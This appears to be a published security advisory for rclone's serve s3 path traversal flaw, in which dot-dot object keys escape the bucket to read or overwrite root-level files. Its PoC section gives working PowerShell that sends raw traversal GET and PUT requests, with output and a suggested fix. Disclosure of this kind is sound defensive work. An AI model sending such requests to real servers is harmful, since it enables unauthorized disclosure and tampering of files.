GHSA-8v25-v8p6-qf7v: rclone: Path traversal in serve s3 allows reading and overwriting root-level files
Summary rclone serve s3 allows a client to read and write files at the root of the remote which would normally be inaccessible by using dot-dot path segments in the object key. It does not allow reading files outside of the root. A request such as GET /bucket/../root-secret.txt is handled as an object request for bucket "bucket", but rclone normalizes the backend path and reads root-secret.txt from the serve root.
Published Aug 5, 2026
Affected packages
github.com/rclone/rclone
- Ecosystem
- Go
- Affected
- <= 1.74.3
- Fixed in
- 1.74.4
- Check
go list -m github.com/rclone/rclone
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
rclone serve s3 allows a client to read and write files at the root of the remote which would normally be inaccessible by using dot-dot path segments in the object key. It does not allow reading files outside of the root. A request such as GET /bucket/../root-secret.txt is handled as an object request for bucket "bucket", but rclone normalizes the backend path and reads root-secret.txt from the serve root. The same issue also allows overwriting root-level files with PUT.
Details
The affected component is rclone serve s3.
Relevant source files:
cmd/serve/s3/backend.go cmd/serve/s3/multipart.go cmd/serve/s3/list.go
In cmd/serve/s3/backend.go, the S3 backend builds backend paths by joining the bucket name and object key with path.Join:
fp := path.Join(bucketName, objectName)
This pattern is used in object operations such as HeadObject, GetObject, PutObject, DeleteObject, and CopyObject.
S3 object keys are opaque names and can legally contain dot-dot segments. However, path.Join treats the object key as a filesystem-style path and normalizes ../ segments. As a result, an object key such as ../root-secret.txt is resolved outside the selected bucket directory.
For example, when rclone serve s3 is serving a root directory that contains:
root/ bucket/ root-secret.txt
a raw S3 HTTP request to:
GET /bucket/../root-secret.txt
is parsed as a request for bucket "bucket" and object "../root-secret.txt". The backend then calculates:
path.Join("bucket", "../root-secret.txt") == "root-secret.txt"
This causes rclone to read root-secret.txt from the serve root instead of rejecting the request or treating ../ as part of the S3 object key.
The same behavior affects writes. A request such as:
PUT /bucket/../root-secret.txt
overwrites root-secret.txt in the serve root.
This is a path traversal / improper path normalization issue in the S3 serving layer. It does not escape the configured rclone serve root, but it does escape the S3 bucket namespace and can expose or modify root-level files that are not intended to be S3 objects.
PoC
PoC:https://drive.google.com/file/d/1-b1ATr5Szx6iW-x_dcCDppT_aKtY8ene/view?usp=sharing
Test environment:
Windows 11 rclone v1.74.3 official Windows binary rclone serve s3 using a local filesystem root No --auth-key configured, so the server allows anonymous access as documented
- Prepare a test serve root:
$base = "$env:TEMP\rclone-serve-s3-poc" $root = "$base\root"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue New-Item -ItemType Directory -Force -Path "$root\bucket" | Out-Null Set-Content -Encoding ASCII -Path "$root\root-secret.txt" -Value "ROOT_LEVEL_SECRET_MARKER"
- Start rclone serve s3:
$rclone = "C:\Users\fff20\AppData\Local\Temp\rclone-current-bin\rclone-v1.74.3-windows-amd64\rclone.exe"
& $rclone serve s3 $root --addr 127.0.0.1:19087 -vv --log-file "$base\serve-s3.log"
- In another terminal, send a raw HTTP GET request containing a dot-dot object key:
$port = 19087 $req = "GET /bucket/../root-secret.txt HTTP/1.1rnHost: 127.0.0.1:$portrnContent-Length: 0rnConnection: closernrn"
$client = [System.Net.Sockets.TcpClient]::new("127.0.0.1", $port) $stream = $client.GetStream() $bytes = [Text.Encoding]::ASCII.GetBytes($req) $stream.Write($bytes, 0, $bytes.Length) $buf = New-Object byte[] 8192 $read = $stream.Read($buf, 0, $buf.Length) [Text.Encoding]::ASCII.GetString($buf, 0, $read) $client.Close()
- Observe that the response contains the root-level file content:
HTTP/1.1 200 OK
ROOT_LEVEL_SECRET_MARKER
- Send a raw HTTP PUT request to overwrite the same root-level file:
$body = "OVERWRITTEN_BY_DOTDOT" $req = "PUT /bucket/../root-secret.txt HTTP/1.1rnHost: 127.0.0.1:$portrnContent-Length: $($body.Length)rnConnection: closernrn$body"
$client = [System.Net.Sockets.TcpClient]::new("127.0.0.1", $port) $stream = $client.GetStream() $bytes = [Text.Encoding]::ASCII.GetBytes($req) $stream.Write($bytes, 0, $bytes.Length) $buf = New-Object byte[] 8192 $read = $stream.Read($buf, 0, $buf.Length) [Text.Encoding]::ASCII.GetString($buf, 0, $read) $client.Close()
- Confirm that the root-level file was overwritten:
Get-Content "$root\root-secret.txt"
Observed result:
OVERWRITTEN_BY_DOTDOT
- The rclone debug log shows the unsafe normalization:
serve s3: GET OBJECT Bucket: bucket Object: ../root-secret.txt root-secret.txt: Open: flags=O_RDONLY
serve s3: CREATE OBJECT: bucket ../root-secret.txt root-secret.txt: OpenFile: flags=O_RDWR|O_CREATE|O_TRUNC
Expected result:
rclone serve s3 should reject object keys that would normalize outside the selected bucket, or preserve S3 object keys as opaque names without allowing ../ to affect the backend path.
Actual result:
rclone serve s3 normalizes the object key with path.Join(bucketName, objectName), allowing ../ segments in the object key to escape the bucket namespace and access root-level files under the configured serve root.
Impact
This is a path traversal / improper path normalization vulnerability in rclone serve s3.
An attacker who can send requests to an affected rclone serve s3 endpoint can use dot-dot object keys to read or overwrite files outside the selected bucket directory but still inside the configured serve root.
In deployments where rclone serve s3 exposes a root containing multiple buckets or root-level operational files, this can allow unauthorized disclosure or modification of files that are not intended to be accessible as objects in the selected bucket.
The issue is especially relevant when rclone serve s3 is run without --auth-key, because rclone documents that this configuration allows anonymous access. If authentication is configured, exploitation would require valid S3 access to the server.
Suggested fix:
Do not build backend paths by directly passing untrusted S3 object keys to path.Join with the bucket name.
Before accessing the backend, reject object keys containing path traversal segments that would escape the selected bucket after normalization. Alternatively, preserve object keys as opaque S3 names and encode path separators or dot-dot segments so they cannot affect backend path resolution.
Affected version tested:
rclone v1.74.3 official Windows binary
Credited to Dangel165, ncw.
References
- https://github.com/rclone/rclone/security/advisories/GHSA-8v25-v8p6-qf7v
- https://github.com/rclone/rclone/commit/83d1e62aa9e0dbd10a5d7eb34c117ae997268cdf
- https://github.com/rclone/rclone/commit/c89b766cf417fddbe7eace40d31262ecb85bfa93
- https://github.com/rclone/rclone/releases/tag/v1.74.4
- https://github.com/advisories/GHSA-8v25-v8p6-qf7v
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-88013
rclone: http backend forwards custom/auth headers to a different host on redirect
low3.7Sep 10, 2026CVE-2026-88014
rclone archive/zip: Zip Slip via unsanitized zip entry names lets a malicious archive escape its own namespace
medium6.3Sep 10, 2026CVE-2026-88015
rclone local: crafted Range request against a translated symlink panics (DoS)
medium5.3Sep 10, 2026CVE-2026-88016
rclone: Directory metadata (chmod/chown/chtimes) applied through a planted symlink in rclone local --links escapes the destination
medium6.5Sep 10, 2026CVE-2026-88017
rclone: FTP cross-session auth-proxy backend confusion
high7.3Sep 10, 2026CVE-2026-88018
rclone serve s3: --auth-proxy without --auth-key authenticates nobody - full SigV4 signature bypass
critical9.8Sep 10, 2026
